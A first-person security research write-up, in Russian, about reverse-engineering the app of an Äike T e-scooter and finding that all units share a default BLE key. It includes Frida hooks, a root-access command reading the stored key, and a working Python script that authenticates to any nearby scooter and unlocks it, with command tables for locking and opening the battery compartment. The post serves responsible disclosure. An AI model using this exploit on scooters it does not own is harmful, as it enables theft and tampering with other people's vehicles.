Несколько лет назад я решил купить электросамокат, чтобы ездить на работу. Я уже какое-то время пользовался прокатом самокатов, но устал от необходимости «охоты» на них или отсутствия их рядом с домом, когда мне нужно было ехать в офис.

Мой выбор остановился на Äike T. Не потому, что он оказался лучше других самокатов: на самом деле, его цена была даже выше других, и в этом ценовом сегменте рынка явно имелись скутеры с более высокими параметрами.

Однако я выбрал Äike, потому что его производили в моей стране, а мне нравится по возможности поддерживать местные компании. Äike («молния» на эстонском) был спроектирован и изготавливался в Эстонии, прямо в Таллине. Насколько я могу судить, разработчики использовали не так много стандартных компонентов. Конструкция была разработана с нуля, модуль IoT и аккумуляторные блоки тоже производили локально, и так далее. Нельзя сказать, что это однозначно лучше, ведь при этом усложняется обслуживание самоката, но сам продукт мне показался амбициозным.

Ещё одной причиной покупки стало то, что у производителя была сестринская компания Tuul («ветер» на эстонском), занимавшаяся прокатом электросамокатов. Это тоже были скутеры Äike, и из всех конкурентов мне больше всего нравились Tuul/Äike, поэтому я по возможности пользовался их прокатом.

В прошлом году компания Äike обанкротилась. В будущем это не предвещало ничего хорошего: станет всё сложнее находить запчасти, ведь они были нестандартными. Но возникли у меня и более актуальные опасения, связанные с возможностью пользоваться самокатом. У него нет ручной функции включения/отключения. Для включения и выключения, открывания аккумуляторного отсека, переключения в режим транспорта и так далее необходимо было приложение.

Разумеется, приложение было подключено к «облаку». Часть функций уже перестала работать или была отключена (например, отслеживание местоположения по карте в реальном времени, хранение истории длительности поездок и так далее). Другие функции, привязанные к «облаку», похоже, ещё работали. Было непонятно, настанет ли такой момент, когда я вообще не смогу пользоваться приложением, а значит, и ездить на самокате. Это мотивировало меня заняться реверс-инжинирингом самоката и его приложения, чтобы разобраться, можно ли обмениваться данными с самокатом через стороннее приложение.

Первым делом я взялся за обратную разработку Android-приложения. Вскоре после этого я понял, что в самокате есть критическая уязвимость безопасности, позволявшая не только разблокировать и контролировать мой самокат, но и любой другой самокат Äike.

Подготовка к реверс-инжинирингу

Приложение написано на React Native. Есть два способа компиляции приложений React Native.

При старом способе в приложение сохранялся файл JavaScript, который интерпретировался JavaScript-движком React Native при запуске приложения. Несмотря на минификацию файла JavaScript, он всё равно довольно понятен, и выполнить реверс-инжиниринг его функциональности не так сложно. Труднее было бы отреверсить нативные модули или клей на Java/Kotlin. Модифицировать JavaScript для выполнения произвольного кода очень легко.

Более новый способ компилирует код на JavaScript в собственный байт-код React Native, исполняемый виртуальной машиной RN под названием Hermes. В этом случае уровни сложности менялись местами. Байт-код Hermes разобрать непросто, и пока нет хороших инструментов для реверс-инжиниринга приложений, скомпилированных этим новым способом. Особенно верно это, учитывая мощь современных декомпиляторов Java/Kotlin, благодаря которой в этом случае в скомпилированном коде проще понять клеевые классы.

Приложение Äike скомпилировано новым способом. К сожалению, из-за этого реверс-инжиниринг приложения был гораздо сложнее, чем я надеялся, но в то же время это здорово, ведь мне нравятся трудности.

Пока не существует хороших декомпиляторов байт-кода Hermes, превращающих его в код программы. Эту задачу пытались решить несколько проектов (123), но генерируемые ими результаты довольно зашумлены и неудобочитаемы. В итоге, я в основном пользовался проектом hermes_rs разработчика Pilfer, потому что он оказался наиболее совершенным и мне нравится работать с кодом на Rust.

Хотя большая часть функциональности была реализована на React Native, приложение всё равно должно было вызывать нативные функции Android. Я понимал, что это так, потому что для общения с самокатом приложение использует Bluetooth (наряду с «облаком»), а для выполнения любых действий с Bluetooth в Android, разумеется, нужна нативная функциональность операционной системы. Для этого приложение использует клей в виде кода на Kotlin. Я пользуюсь декомпилятором Java Vineflower; он смог декомпилировать интересующий меня код в довольно читаемый результат.

Изучив его, я понял, что код на Kotlin использовался исключительно в качестве «моста» для общения с операционной системой, а вся логика находится в байт-коде Hermes. Из-за этого мне пришлось активно работать с Frida для изучения обмена данными по Bluetooth в среде исполнения. После исследования декомпилированного кода стало понятно, что основная часть коммуникаций Bluetooth выполняется через характеристики BLE GATT. Я не буду вдаваться в подробности того, как здесь работают характеристики GATT (если вам любопытно, прочитайте недавнее исследование ERNW по безопасности наушников Bluetooth). Важно то, что теперь мы можем довольно легко перехватывать и изменять этот трафик при помощи Frida.

Android раскрывает классы Java android.bluetooth.BluetoothGatt и android.bluetooth.BluetoothGattCallback, которые приложения должны использовать для работы с характеристиками GATT. При помощи Frida мы можем перехватывать их и переопределить многие интересные функции.

В основном меня интересовали операции чтения и записи, а также уведомления GATT, поэтому я написал скрипт Frida, перехватывающий их и выводящий все коммуникации в консоль:

Java.perform(function() {
  var BluetoothGatt = Java.use("android.bluetooth.BluetoothGatt");

  // события подключения
  BluetoothGatt.disconnect.implementation = function() {
    console.log("\n*** [GATT] DISCONNECTING ***");
    return this.disconnect();
  };

  // операции записи
  BluetoothGatt.writeCharacteristic.overload('android.bluetooth.BluetoothGattCharacteristic').implementation = function(characteristic) {
    console.log("\n>>> [COMMAND] Writing characteristic");
    var uuid = characteristic.getUuid();
    var value = characteristic.getValue();
    console.log("    UUID: " + uuid);
    console.log("    Value: " + bytesToHex(value));
    console.log("    ASCII: " + bytesToAscii(value));
    return this.writeCharacteristic(characteristic);
  };

  BluetoothGatt.writeCharacteristic.overload('android.bluetooth.BluetoothGattCharacteristic', '[B', 'int').implementation = function(characteristic, value, writeType) {
    console.log("\n>>> [COMMAND] Writing characteristic");
    var uuid = characteristic.getUuid();
    console.log("    UUID: " + uuid);
    console.log("    Value: " + bytesToHex(value));
    console.log("    ASCII: " + bytesToAscii(value));
    console.log("    Write Type: " + writeType);
    return this.writeCharacteristic(characteristic, value, writeType);
  };

  var BluetoothGattCallback = Java.use("android.bluetooth.BluetoothGattCallback");

  // изменения состояния подключения
  BluetoothGattCallback.onConnectionStateChange.overload('android.bluetooth.BluetoothGatt', 'int', 'int').implementation = function(gatt, status, newState) {
    console.log("\n*** [CONNECTION] State changed: " + getConnectionState(newState) + " (status: " + status + ") ***");
    return this.onConnectionStateChange(gatt, status, newState);
  };

  // чтение характеристик
  BluetoothGattCallback.onCharacteristicRead.overload('android.bluetooth.BluetoothGatt', 'android.bluetooth.BluetoothGattCharacteristic', 'int').implementation = function(gatt, characteristic, status) {
    console.log("\n<<< [RESPONSE] Characteristic read");
    var uuid = characteristic.getUuid();
    var value = characteristic.getValue();
    console.log("    UUID: " + uuid);
    console.log("    Status: " + status);
    console.log("    Value: " + bytesToHex(value));
    console.log("    ASCII: " + bytesToAscii(value));
    return this.onCharacteristicRead(gatt, characteristic, status);
  };

  BluetoothGattCallback.onCharacteristicRead.overload('android.bluetooth.BluetoothGatt', 'android.bluetooth.BluetoothGattCharacteristic', '[B', 'int').implementation = function(gatt, characteristic, value, status) {
    console.log("\n<<< [RESPONSE] Characteristic read");
    var uuid = characteristic.getUuid();
    console.log("    UUID: " + uuid);
    console.log("    Status: " + status);
    console.log("    Value: " + bytesToHex(value));
    console.log("    ASCII: " + bytesToAscii(value));
    return this.onCharacteristicRead(gatt, characteristic, value, status);
  };

  // уведомления
  BluetoothGattCallback.onCharacteristicChanged.overload('android.bluetooth.BluetoothGatt', 'android.bluetooth.BluetoothGattCharacteristic').implementation = function(gatt, characteristic) {
    console.log("\n<<< [NOTIFICATION] Device data");
    var uuid = characteristic.getUuid();
    var value = characteristic.getValue();
    console.log("    UUID: " + uuid);
    console.log("    Value: " + bytesToHex(value));
    console.log("    ASCII: " + bytesToAscii(value));
    console.log("    Length: " + (value ? value.length : 0) + " bytes");
    return this.onCharacteristicChanged(gatt, characteristic);
  };

  BluetoothGattCallback.onCharacteristicChanged.overload('android.bluetooth.BluetoothGatt', 'android.bluetooth.BluetoothGattCharacteristic', '[B').implementation = function(gatt, characteristic, value) {
    console.log("\n<<< [NOTIFICATION] Device data (with value)");
    var uuid = characteristic.getUuid();
    console.log("    UUID: " + uuid);
    console.log("    Value: " + bytesToHex(value));
    console.log("    ASCII: " + bytesToAscii(value));
    console.log("    Length: " + (value ? value.length : 0) + " bytes");
    return this.onCharacteristicChanged(gatt, characteristic, value);
  };
});

Аутентификация

После того, как моё тестовое окружение было более-менее готово, я начал исследовать различные функции приложения, чтобы разобраться, как работает обмен данными. Перехватывая процесс подключения приложения к самокату, я наблюдал следующий поток:

  1. Приложение подключается к самокату.

  2. Приложение считывает характеристику 00002556-1212-efde-1523-785feabcd123. Она содержит случайное 20-байтное значение.

  3. Приложение записывает другое 20-байтное значение в характеристику 00002557-1212-efde-1523-785feabcd123.

  4. Приложение записывает команды в характеристику 0000155f-1212-efde-1523-785feabcd123. На этом этапе я мог отправлять команды блокировки и разблокировки, команду открывания аккумуляторного отсека и так далее.

  5. Приложение разрывает соединение (когда его закрывают). Дальнейшие соединения снова начинаются с этапа 1.

Похоже было, что этапы 2 и 3 — это некая аутентификация «запрос-ответ». Без выполнения этих этапов я не мог просто перескочить к этапу 4 и начать отправлять команды самокату, потому что они бы отклонялись.

Я заподозрил, что 20-байтное значение — это используемый каким-то образом SHA-1. Чтобы убедиться в этом, я написал ещё один скрипт Frida, который перехватывает функции хэширования Android, раскрываемые классом Java java.security.MessageDigest:

Java.perform(function() {
  var MessageDigest = Java.use("java.security.MessageDigest");

  MessageDigest.getInstance.overload('java.lang.String').implementation = function(algorithm) {
    console.log("\n[HASH] MessageDigest.getInstance called");
    console.log("  Algorithm: " + algorithm);
    return this.getInstance(algorithm);
  };

  MessageDigest.update.overload('[B').implementation = function(input) {
    console.log("\n[HASH] MessageDigest.update called");
    console.log("  Input: " + bytesToHex(input));
    return this.update(input);
  };

  MessageDigest.digest.overload().implementation = function() {
    console.log("\n[HASH] MessageDigest.digest called");
    var result = this.digest();
    console.log("  Output: " + bytesToHex(result));
    return result;
  };

  MessageDigest.digest.overload('[B').implementation = function(input) {
    console.log("\n[HASH] MessageDigest.digest called");
    console.log("  Input: " + bytesToHex(input));
    var result = this.digest(input);
    console.log("  Output: " + bytesToHex(result));
    return result;
  };
});

Запустив оба скрипта Frida, я подтвердил свои подозрения:

[BLE READ] UUID: 00002556-1212-efde-1523-785feabcd123
  Value: 93 2E ED 37 8C A9 33 BB B8 42 FB 0A B8 6F F0 1D 74 48 AD F2

[HASH] MessageDigest.getInstance called
  Algorithm: SHA-1

[HASH] MessageDigest.update called
  Input: 93 2E ED 37 8C A9 33 BB B8 42 FB 0A B8 6F F0 1D 74 48 AD F2 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF

[HASH] MessageDigest.digest called
  Output: A7 6B BF 7D 04 CA 93 0B 78 84 F9 75 07 07 74 57 78 DE 4E E6

[BLE WRITE] UUID: 00002557-1212-efde-1523-785feabcd123
  Value: A7 6B BF 7D 04 CA 93 0B 78 84 F9 75 07 07 74 57 78 DE 4E E6

Значение запроса, считываемое из характеристики 2556, конкатенировалось с 20-байтами FF, и получившийся хэш записывался в характеристику 2557. Откуда бралось это значение FF?

Для основной части своей облачной функциональности приложение использует Firebase. При регистрации и сопряжении самоката сервер отправляет приложению секретный ключ. Он хранится в устройстве Android, и его можно считать, имея доступ к руту:

sqlite3 \
  ./data/data/com.comodule.tuul.personal/databases/firestore.%5BDEFAULT%5D.coscooter-eu.%28default%29 \
  "SELECT base64(contents) FROM remote_documents WHERE path = 'vehicles' || char(1) || char(1) || 'a1ce1d929129894c' || char(1) || char(1)" \
  | base64 -d | protoc --decode_raw

Вывод:

2 {
  1: "projects/coscooter-eu/databases/(default)/documents/vehicles/a1ce1d929129894c"
  2 {
    1: "connected"
    2 {
      1: 0
    }
  }
...
  2 {
    1: "blePrivateKey"
    2 {
      17: "ffffffffffffffff"
    }
  }
...

Как видно из вывода, значение blePrivateKey равно ffffffffffffffff.

Я заподозрил, что это значение должно быть уникальным для каждого самоката. На это указывал и программный SDK для модулей IoT, используемых в этих самокатах — ключ FF был значением по умолчанию в SDK, которое разработчики должны были менять. Это подтвердил представитель компании, производящей эти модули, когда я сообщил ей об этой проблеме. Очевидно, команда разработчиков Äike пренебрегла созданием нового ключа для каждого самоката, применив для каждого пустой ключ FF.

Насколько я понял, в прокатных самокатах Tuul отключён Bluetooth, поэтому у них отсутствует эта уязвимость.

Proof of concept

Зная всё это, было довольно просто выполнять аутентификацию с любым самокатом Äike рядом со мной и начать отправлять ему команды. Чтобы доказать это, я написал скрипт на Python, выполняющий эту задачу — сначала он аутентифицируется в любом обнаруженном самокате при помощи ключа FF, а затем отправляет команду для его разблокировки. Для его запуска нужен Python 3 и библиотека bleak для работы с Bluetooth.

#!/usr/bin/env python3

import asyncio
import hashlib
from bleak import BleakClient, BleakScanner

CHALLENGE_UUID = "00002556-1212-efde-1523-785feabcd123"
RESPONSE_UUID  = "00002557-1212-efde-1523-785feabcd123"
COMMAND_UUID   = "0000155f-1212-efde-1523-785feabcd123"


def aike_filter(device, _):
  return device.name and device.name in ["AIKE", "AIKE_T", "AIKE_11"]

async def main():
  # сканирование и подключение
  device = await BleakScanner.find_device_by_filter(aike_filter, timeout=10.0)
  if device is None:
    print("No Äike device found")
    return

  client = BleakClient(device.address)
  await client.connect()

  # аутентификация
  challenge = await client.read_gatt_char(CHALLENGE_UUID)
  response = hashlib.sha1(challenge + b'\xFF' * 20).digest()
  await client.write_gatt_char(RESPONSE_UUID, response, response=False)

  # отправка команды разблокировки
  cmd = bytes([0x00, 0xD4, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00])
  await client.write_gatt_char(COMMAND_UUID, cmd, response=False)
  await asyncio.sleep(0.5)

  await client.disconnect()

if __name__ == "__main__":
  asyncio.run(main())

Дальнейший реверс-инжиниринг

Разумеется, я не просто хотел подключаться к скутеру и проходить аутентификацию, но и отправлять ему команды, а также обмениваться данными.

Проведя более глубокий реверс-инжиниринг и динамический анализ, я обнаружил, что сообщения с командами (записываемые в характеристику 0000155f-1212-efde-1523-785feabcd123) в общем случае имеют следующую 10-байтную структуру:

Смещение

Описание

0

Байт заголовка 1 (всегда 0x00)

1

ID регистра — для команд обычно 0xD4

2

Зарезервировано (0x00)

3

ID команды

4

Зарезервировано (0x00)

5

Зарезервировано (0x00)

6

Зарезервировано (0x00)

7

Значение параметра

8

Зарезервировано (0x00)

9

Зарезервировано (0x00)

Например, команда разблокировки (0x01) без параметра будет выглядеть так:

00 D4 00 01 00 00 00 00 00 00

Переключение самоката в «режим транспорта» не стал исключением — эта команда использует другой регистр (0xD2) и структуру:

Смещение

Значение

Описание

0

0x00

Заголовок

1

0xD2

Регистр транспорта

2

0x1B

Относится к режиму транспорта

3

0x1E

Относится к режиму транспорта

4

0x3C

Относится к режиму транспорта

5

0x01

Относится к режиму транспорта

6-7

0x00

Зарезервировано

8

State

0x01 = включить, 0x00 = отключить

9

0x00

Зарезервировано

Вот список команд:

Команда

ID

Параметр

Пример

Разблокировать

0x01

0x00

00 D4 00 01 00 00 00 00 00 00

Заблокировать

0x02

0x00

00 D4 00 02 00 00 00 00 00 00

Переключиться в режим «Эко»

0x03

0x00 = откл., 0x01 = вкл.

00 D4 00 03 00 00 00 01 00 00

Открыть аккумуляторный отсек

0x04

0x00

00 D4 00 04 00 00 00 00 00 00

Установить таймер автоматической блокировки

0x06

Минуты (0x00-0xFF)

00 D4 00 06 00 00 00 0F 00 00 (15 минут)

Режим автоматического торможения

0x07

0x00 = откл., 0x01 = вкл.

00 D4 00 07 00 00 00 01 00 00

Кроме того, самокат отправляет уведомления в характеристику 0000155e-1212-efde-1523-785feabcd123. Уведомления содержат информацию о состоянии самоката (уровень заряда аккумулятора, расстояние, события блокировки/разблокировки и так далее).

Каждое уведомление начинается с 2-байтного ID регистра, за которым следуют данные полезной нагрузки.

ID регистра

Название

Формат полезной нагрузки

0x00C0

Уровень заряда аккумулятора

1 байт: процент (0-100)

0x00C1

Статус блокировки

1 байт: 0x01 = заблокирован, 0x00 = разблокирован

0x00C2

Телеметрия аккумулятора

Расширенная статистика аккумулятора?

0x00C6

Режим «Эко»

1 байт: 0x01 = включён, 0x00 = отключён

0x00D4

Статус команды

Подтверждение команды

0x01A2

Настройки

8-байтная структура настроек

0x03C1

Напряжение аккумулятора

2 байта в big-endian: мВ

0xFCFC

Информация о прошивке

Сведения о версии прошивки

Настройки (0x01A2) имеют следующую структуру полезной нагрузки:

Смещение

Описание

0-1

Неизвестно (возможно, модель самоката или версия оборудования)

2

Таймер автоматической блокировки в минутах (0x00 = отключён)

3

Автоматическое торможение: 0x01 = включено, 0x00 = отключено

4

Неизвестно

5

Режим «Эко»: 0x01 = включён, 0x00 = отключён

6

Режим транспорта: 0x01 = включён, 0x00 = отключён

7

Неизвестно

Также можно вручную считывать значения уведомлений, записывая 2-байтный ID регистра в характеристику 00001564-1212-efde-1523-785feabcd123, а затем считывая ответ из 0000155f-1212-efde-1523-785feabcd123. Ответ состоит из 10 байт: первые 2 байта повторяют ID регистра, за ними следуют 8 байт полезной нагрузки.

Раскрытие

Отправка отчёта об уязвимости была усложнена тем, что Äike больше не существует. В сентябре 2025 года я связался с компанией-производителем модулей IoT, подтвердившей, что значение ключа FF используется по умолчанию и должно изменяться для каждого устройства.

С тех пор я написал собственное приложение для управления моим самокатом и с телефона, и с умных часов, что раньше было невозможно. По крайней мере, теперь мне не нужно беспокоиться о том, что облачные серверы будут отключены.

Хронология

  • 13.09.2025 — попытка связаться с производителем модулей IoT, чтобы получить контакты для ответственного раскрытия уязвимости.

  • 19.09.2025 — первый ответ производителя.

  • 19.09.2025 — производителю отправлено подробное описание уязвимости.

  • 22.09.2025 — производитель подтвердил, что клиент (Äike) должен был менять ключ, используемый по умолчанию.

  • 06.01.2026 — публикация статьи.